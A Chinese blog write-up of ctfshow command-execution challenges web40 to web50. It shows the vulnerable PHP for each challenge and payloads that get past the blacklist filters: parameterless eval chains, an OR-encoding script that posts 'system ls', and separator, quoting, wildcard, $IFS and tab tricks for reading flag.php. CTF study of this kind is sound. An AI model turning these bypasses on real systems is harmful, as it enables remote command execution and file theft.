• ctfshow 命令执行(40-50)


    web40

    题目过滤了很多

    1. if(isset($_GET['c'])){
    2. $c = $_GET['c'];
    3. if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    4. eval($c);
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    这题的考点是无参数RCE

    参考https://www.cnblogs.com/NPFS/p/13778333.html

    无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

    print_r(scandir('.'))可以用来查看当前目录所有文件名 

    接下来需要将括号中的.替代掉

    localeconv()函数返回一包含本地数字及货币格式信息的数组

    例如

     [int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理

    那么我们可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))中的参数.
    那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:

    1. current()函数返回数组中的当前元素/单元,默认取第一个值;
    2. pos()函数同上,是current()函数的别名;
    3. reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE

    构造:print_r(scandir(current(localeconv())));
               print_r(scandir(pos(localeconv())));
               print_r(scandir(reset(localeconv())));
              //以上函数均可查看当前目录文件

    可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

    1. /?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
    2. highlight_file 的别名show_source
    3. /?c=show_source(next(array_reverse(scandir(current(localeconv())))));

    web41

    1. if(isset($_POST['c'])){
    2. $c = $_POST['c'];
    3. if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    4. eval("echo($c);");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }
    9. ?>

    过滤了^+~$[]{}&-等

    屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
    思路是:
    所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

    1. $myfile = fopen("rce_or.txt", "w");
    2. $contents="";
    3. for ($i=0; $i < 256; $i++) {
    4. for ($j=0; $j <256 ; $j++) {
    5. if($i<16){
    6. $hex_i='0'.dechex($i);
    7. }
    8. else{
    9. $hex_i=dechex($i);
    10. }
    11. if($j<16){
    12. $hex_j='0'.dechex($j);
    13. }
    14. else{
    15. $hex_j=dechex($j);
    16. }
    17. $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    18. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    19. echo "";
    20. }
    21. else{
    22. $a='%'.$hex_i;
    23. $b='%'.$hex_j;
    24. $c=(urldecode($a)|urldecode($b));
    25. if (ord($c)>=32&ord($c)<=126) {
    26. $contents=$contents.$c." ".$a." ".$b."\n";
    27. }
    28. }
    29. }
    30. }
    31. fwrite($myfile,$contents);
    32. fclose($myfile);

    我们通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

    1. import re
    2. import requests
    3. url="http://b158b18a-656f-48e7-8a1c-0968db46fff1.challenge.ctf.show/"
    4. a=[]
    5. ans1=""
    6. ans2=""
    7. for i in range(0,256):
    8. c=chr(i)
    9. tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    10. if(tmp):
    11. continue
    12. #print(tmp.group(0))
    13. else:
    14. a.append(i)
    15. # eval("echo($c);");
    16. mya="system" #函数名 这里修改!
    17. myb="ls" #参数
    18. def myfun(k,my):
    19. global ans1
    20. global ans2
    21. for i in range (0,len(a)):
    22. for j in range(i,len(a)):
    23. if(a[i]|a[j]==ord(my[k])):
    24. ans1+=chr(a[i])
    25. ans2+=chr(a[j])
    26. return;
    27. for k in range(0,len(mya)):
    28. myfun(k,mya)
    29. data1="(\""+ans1+"\"|\""+ans2+"\")"
    30. ans1=""
    31. ans2=""
    32. for k in range(0,len(myb)):
    33. myfun(k,myb)
    34. data2="(\""+ans1+"\"|\""+ans2+"\")"
    35. data={"c":data1+data2}
    36. r=requests.post(url=url,data=data)
    37. print(r.text)

    运行结果

    修改参数

    web42

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. system($c." >/dev/null 2>&1");
    4. }else{
    5. highlight_file(__FILE__);
    6. }

    0表示键盘输入,1表示屏幕输出,2表示错误输出!
    ‘ > ’ 默认标准输出重定向,与1>相同
    2>&1 意思是把标准错误输出重定向到标准输出
    &>file 意思是把标准输出和标准错误输出都重定向到文件file中

    > 代表重定向到哪里
    /dev/null 代表空设备文件
    2> 表示stderr标准错误
    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1
    1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
    因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

    本题语句执行过程为:
    1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
    2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

    所以我们要让命令回显,那么进行命令分隔即可,就是截断

    截断方法:&&、||、%0a 等

    1. ?c=cat flag.php%0a
    2. ?c=cat flag.php||
    3. ?c=cat flag.php%26
    4. ?c=cat flag.php%26%26
    5. ?c=cat flag.php;

    web43

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    这次还过滤了cat;,因此我们可以用nl或者c"a"t来绕过:

    1. ?c=nl flag.php%0a
    2. ?c=c"a"t flag.php%0a

    web44

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/;|cat|flag/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    这次又过滤了flag字符串,我们可以用通配符*补位从而绕过:

    ?c=c"a"t fl*.php%0a

    web45

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| /i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    本题的过滤条件:;catflag空格

    我们可以用$IFS来绕过空格:

    1. ?c=echo$IFS`tac$IFS*`%0A
    2. ?c=c"a"t$IFS$fl*.php%0A

     

    web46

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤条件: catflag空格数字$*
    绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<和?不能连用,而%09不被过滤是因为上传到服务器就是tab键,不算数字)

    payload

    1. ?c=nl<fla''g.php||
    2. ?c=nl%09fla''g.php||

    web47

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤条件:分号flag空格数字$*morelessheadsorttail

    绕过了,但是又好像没绕,上一题的payload也适用于这题:

    1. ?c=nl<fla''g.php||
    2. ?c=nl%09fla''g.php||

     

    web48

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    上面的payload适用

    1. ?c=nl<fla''g.php||
    2. ?c=nl%09fla''g.php||

     

    web49

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    没变

    1. ?c=nl<fla''g.php||
    2. ?c=nl%09fla''g.php||

    web50

    1. if(isset($_GET['c'])){
    2. $c=$_GET['c'];
    3. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    4. system($c." >/dev/null 2>&1");
    5. }
    6. }else{
    7. highlight_file(__FILE__);
    8. }

    过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、%、%09、&(编码后为%26)和/`

    因为%09被过滤,空格只能用<绕过,只能使用上题的第一个payload

    ?c=nl<fla''g.php||
    

  • 相关阅读:
    margin塌陷和margin重合问题的解决方法总结
    python爬虫开源项目代码个性化电影推荐系统算法
    Linux 内核页表管理
    MD5加密解密网站测试,MD5加密还安全吗?
    社交媒体与社会网络分析,深度解读社交网络营销
    【前端】弹球特效(重力模拟)
    MySql — 查询语句(DQL)简单查询操作
    R语言使用数列组合逻辑(逻辑与、and)筛选data.table中符合条件的数据行
    植物大战 C++ ——基础特性
    如何翻译文档?不妨试试这些软件
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133518466